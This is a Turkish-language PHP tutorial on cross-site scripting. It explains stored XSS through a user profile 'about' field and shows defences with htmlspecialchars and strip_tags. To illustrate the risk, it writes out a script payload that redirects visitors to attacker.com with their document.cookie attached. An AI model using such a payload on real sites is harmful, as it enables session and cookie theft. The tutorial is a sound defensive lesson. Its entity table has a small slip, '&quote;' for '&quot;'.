PHP’de Güvenlik: XSS’ten Korunmak (Cross Site Scripting)

Merhaba.

Bu dersin yazılı kısmında videoda anlattığım şeyleri birebir anlatmayacağım. Sadece genel olarak XSS’ten ve bundan korunma yöntemlerinden bahsedeceğim.

Nedir Bu XSS ?

Basit bir örnekle XSS’i sizlere anlatmaya çalışayım. Örnek olarak sitenizde her kullanıcının bir profil sayfası var ve bu profil sayfalarının içerisine kısa bir hakkında yazısı yazıyorlar. Herkes bu yazıyı doğru düzgün yazacak diye bir şey yok, bir kullanıcınız geldi ve şöyle bir şey yazmaya kalkıştı hakkında bölümüne.

<script>alert(1);</script>

Kullanıcımız bu şekilde bir hakkında yazısı yazarsa eğer biz bunu echo ile profil sayfamıza yazdırdığımız anda javascript kodları çalışacak ve 1 şeklinde bir uyarı gelecektir. Şimdi şöyle bir şey söyleyeyim, gerçekten ilginizi çekebilir. Bazen kullanıcı ile ilgili önemli bilgileri cookielerde saklamak gibi bir şey yapabiliyorsunuz. Farkında olarak ya da olmayarak bunu yaptınız diyelim. Örnek olarak hemen PHP ile bir cookie atayalım.

$time = new DateTime("+1 week");
setcookie("cerezimiz", "cok onemli kullanici verisi", $time->getTimestamp());

Bu şekilde çok önemli kullanıcı verisi saklayan bir cookie oluşturduk ve 1 haftalık bir süre verdik bu cookiye. Şimdi Windows’ta F12 tuşuna basarak, Mac OS’ta Command + Option + I tuşuna basarak veya sağ tıklayıp öğeyi denetle diyerek Chrome Developer Tools’u açıyoruz ve Console sekmesine geliyoruz. Konsola document.cookie yazarsanız size sitenizde bulunan çerezleri gösterecektir. Sadece yukarda bahsettiğimiz çerezi oluşturup bu komutu çalıştırdığımızda alacağımız sonuç muhtemelen şöyle olacaktır.

cerezimiz=cok+onemli+kullanici+verisi

Gördüğünüz gibi çerezimiz açık bir şekilde ortada duruyor. Şimdi şunu düşünebilirsiniz: “kullanıcımız kendi çerezlerini görmesi ne gibi sorunlar oluşturabilir ki ?”. Kullanıcımızın kendi çerezlerini görmesi genelde bir problem teşkil etmez ama kullanıcımızın çerezlerini bir başkası görürse ? Şimdi örneğimize devam edelim. En son kullanıcımız hakkında sayfasında bir alert verdirtmişti. Şimdi kullanıcımız birazcık kendisini aşsın ve bir yönlendirme işlemi yapsın ve hemen arkasından sizin cookie bilgilerinizi çalsın. Bunu nasıl yapacak hemen anlatayım. Kullanıcımızın attacker.com adında bir sitesi olduğunu düşünün. Bu kullanıcı hakkında kısmına şöyle bir şey yazdı diyelim.

<script>window.location.href = "http://attacker.com/cerez_cal.php?cerez=" + document.cookie;</script>

Herhangi bir üye bu kullanıcının profiline girerse ve hakkında yazısını görüntülerse eğer yazılan javascript kodu kurbanımızı şuraya yönlendirecek: http://attacker.com/cerez_cal.php?cerez=cerezimiz=cok+onemli+kullanici+verisi

Buraya yönlendirme işlemini yaptıktan sonra zaten saldırganımız çerez bilgilerini elde etmiş oldu bile çoktan. Şimdi tek yapması gereken şey GET metodu ile cerez değerini almak ve bunu bir dosyaya yazdırmak, videomda zaten bahsettim bu durumdan, merak edenler orada nasıl yaptığımı inceleyebilirler. Gördüğünüz üzere herhangi bir kullanıcının cookielerini çalmak güvenlik önlemi almamış veya almayı unutmuş sistemlerde bu kadar kolay. Çerez sadece ufak bir örnekti, XSS açığından faydalanılarak daha neler neler yapılabilir, tamamen sizin hayal gücünüze bırakıyorum artık.

Şimdi asıl meselemize dönelim.

Kendimizi Nasıl Koruyabiliriz ?

Genelde internette gördüğünüz birçok derste formdan gelen veriler üzerinde kontrol yapılır ve veriler o şekilde veritabanına kaydedilir. Ama burada veritabanına kaydetmekten ziyade ekrana yazdırma şekliniz daha önemli gibi duruyor. Oldu da veritabanına güvenli bir şekilde kaydedilmedi, siz yazdırırken de önlem almazsanız hacklenmeniz an meselesi.

Bu tarz kodlar içeren verilerin kod olarak çalıştırılması yerine yazı olarak görünmesini istiyorsak kullanabileceğimiz iki güzel fonksiyon var. Aslında ikiden fazla ama bu ikisi bir hayli işinizi görecektir.

Öncelikle şurdan başlayalım. HTML için özel anlam ifade eden bazı karakterler var. Bunlara en büyük örnek küçüktür (<) ve büyüktür (>) işaretleri. Eğer siz bir HTML sayfada <b>Yazı</b> yazarsanız bu yazı olarak değil HTML etiketi olarak algılanacaktır ve Yazı ifadesi de kalın görünecektir. Örnek olarak böyle bir durumda direkt olarak < > işaretleri kullanmak yerine bunlarla aynı çıktıyı veren fakat HTML kodu olarak algılanmayan &lt; ve &gt; kodlarını kullanabilirsiniz. İşte bizim ilk fonksiyonumuzun yapacağı şey de tam olarak bu, bizim HTML olarak algılanan kodlarımızı alıp HTML olarak algılanmayan özel kodlara dönüştürecek. Açıklamamız bu kadar, şimdi fonksiyonu inceleyelim.

htmlspecialchars($parameter);

Bu fonksiyonumuz 3 parametre alabiliyor. Alması zorunlu olan parametresi sadece birinci. Saldırganımızın hakkında yazısının aynı olduğunu düşünelim. Şimdi bunun htmlspecialchars fonksiyonunu kullanarak kod olarak algılanması yerine yazı olarak görünmesini sağlayacağız. Hakkında yazımızı echo $hakkinda; şeklinde yazdığımızı varsayarsak şu şekilde bir kullanıma gittiğinizde kodlarımız yazı olarak görünecektir.

echo htmlspecialchars($hakkinda);

Şimdi kodumuzun çıktısına baktığımız zaman şununla karşılacağız.

<script>window.location.href = "http://attacker.com/cerez_cal.php?cerez=" + document.cookie;</script>

Sağ tıklayıp sayfa kaynağını görüntüle dediğimizde ise kaynağın aslında şu şekilde olduğunu göreceğiz.

&lt;script&gt;window.location.href = &quot;http://attacker.com/cerez_cal.php?cerez=&quot; + document.cookie;&lt;/script&gt;

Gördüğünüz gibi kodumuz şekildeki gibi değiştirilmiş oluyor aslında. htmlspecialchars tam anlamıyla bu işe yarıyor. İki parametre daha alabildiğinden bahsetmiştim. İkinci parametremizde çift tırnak ve tek tırnaklara nasıl muamele etmesi gerektiğini belirtiyoruz. Bu parametreye birkaç farklı değer yazabiliyoruz. Bunlardan kullanma ihtiyacı duyabileceğiniz 3 tanesini ve ne işe yaradıklarını aşağıdaki tablodan inceleyebilirsiniz.

ENT_COMPAT Çift tırnkakları &quote; ifadesiyle değiştirir. Tek tırnaklarda değişiklik yapmaz. Varsayılan değer budur.
ENT_QUOTES Çift tırnkakları &quote; ifadesiyle değiştirir. Tek tırnakları da &#039; ifadesiyle değiştirir.
ENT_NOQUOTES Tek tırnakları da çift tırnakları değiştirmez.

Örnek bir kullanıma bakalım şimdi.

echo htmlspecialchars($hakkinda, ENT_QUOTES);

Bu şekilde kullanıyoruz. Açıklamaya gerek yok sanırım.

Şimdi son parametremizi inceleyelim. Bu parametre de karakter seti, olur da karakter seti belirtmeniz lazım olursa diye koymuşlar, ihtiyacınız olması durumunda kullanabilirsiniz. Ufak bir örnek kullanım:

echo htmlspecialchars($hakkinda, ENT_COMPAT, "UTF-8");

htmlspecialchars fonksiyonumuz bu kadardı. Şimdi diğer fonksiyonumuza geçelim.

strip_tags($parameter)

strip_tags fonksiyonu içine girdiğimiz parametredeki bütün html etiketlerini temizliyor. Aynı örnek üzerinden devam edelim. $hakkinda değişkenimizi şimdi de strip_tags fonksiyonu içerisinde yazdıralım.

echo strip_tags($hakkinda);

Bu sefer alacağınız çıktıda script etiketleri hiç olmayacak. Çıktınız aynen şöyle olacak: window.location.href = “http://attacker.com/cerez_cal.php?cerez=” + document.cookie;

Bazı durumlarda strip_tags kullanmak çok işinize yarar ama ben genelde tercih etmiyorum. Merak edenler için strip_tags fonksiyonunun ikinci bir parametresi daha var, bu parametreye de bazı HTML etiketlerini giriyorsunuz ve strip_tags fonksiyonu bütün HTML etiketlerini silerken bu parametreye girdiğiniz HTML etiketlerini silmiyor. Hemen bir örnek verelim.

echo strip_tags($icerik, "<b><i>");

Örnek olarak bu kodu çalıştırdığımız zaman içerik değişkeninin içerisindeki bütün HTML etiketlerini kaldıracaktır ama b ve i etiketlerine dokunmayacaktır.

NOT: strip_tags fonksiyonu htmlspecialchars gibi özel karakterleri çevirmez, sadece istisna olarak belirttiğiniz HTML etiketleri dışındaki bütün HTML etiktlerini tamamen siler.

Evet uygun yerlerde ve uygun zamanlarda bu fonksiyonları kullanarak XSS saldırılarından korunabilirsiniz. Detaylı örnek için videoyu izleyebilirsiniz.

Bu derslik bu kadar, dersler ilgili herhangi bir probleminiz varsa eğer bunu yorum atarak iletebilirsiniz. Ders işinizi gördüyse eğer aşağıdaki butona basarak teşekkür edebilirsiniz. (Buton sadece teşekkür sayacıdır, reklam vs. değildir.)

Bu derslik bu kadar, herkese iyi çalışmalar.

Eğitim Setleri, PHP'de Güvenlik Mustafa Zahid Efe Yorum Yapılmamış